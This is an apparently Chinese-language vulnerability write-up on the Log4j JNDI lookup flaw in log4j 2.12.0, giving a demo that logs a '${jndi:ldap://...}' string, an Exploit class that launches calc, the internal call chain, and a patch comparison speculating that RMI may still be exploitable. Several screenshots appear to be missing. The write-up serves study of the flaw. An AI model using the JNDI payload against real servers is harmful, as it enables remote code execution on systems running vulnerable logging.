0x00 前言

本来是快乐游戏时间的，但是突然就出来这个洞了= =当然这个突然用的比较夸张了
修复时间应该是在五天前了。


本着学习的态度来进行一下简单的分析。

0x01 环境

首先是pom.xm文件，这个不需要多说

<dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.12.0</version>
        </dependency>

        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.12.0</version>
        </dependency>
    </dependencies>

然后是一个测试demo：

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import sun.applet.Main;

public class log4j {
    private static Logger LOG=LogManager.getLogger(Main.class);
    public static void main(String[] args) {
        LOG.error("${jndi:ldap://localhost:9999/Exploit}");
    }
}

payload就用cacl

public class  Exploit{
    static {
        try {
            String [] cmd={"calc"};
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

开远程LDAP和http，http可以选择使用python开

测试结果：



0x02 调用简析

整个分析过程有两种思路，第一种思路就是通过补丁进行逆向分析 从触发点进行调试。
还有一个思路就是通过拿到poc来进行顺序调试。调试的过程中使用poc以及非poc进行对比
就可以很清楚的看到整个调用逻辑 以及触发原因。

最重要的逻辑从strategy.log开始，这个是整个调用链的最开始位置


在log中处理数据


通过processLogEvent判定Event：


在directEncodeEvent会尝试对Event进行解码操作：


在解码操作中format就会对输入的内容进行判断：


在format中会对首尾进行判断，是否满足${开头}结尾的逻辑


在循环判定结束之后就会通过resolveVariable去调用lookup加载ldap



最后整理一下：

log
processLogEvent
callAppender
tryCallAppender
directEncodeEvent
getLayout().encode
format
resolveVariable
lookup

0x03 修复比对

修复对比之后可以看到，修复是通过禁止协议去进行修复的。当然这里仅仅是针对LDAP来进行修复的。


0x04 PS

这里盲猜 修复之后可能RMI可以继续利用。

通过ceye测试 未修复前肯定是可以直接利用的。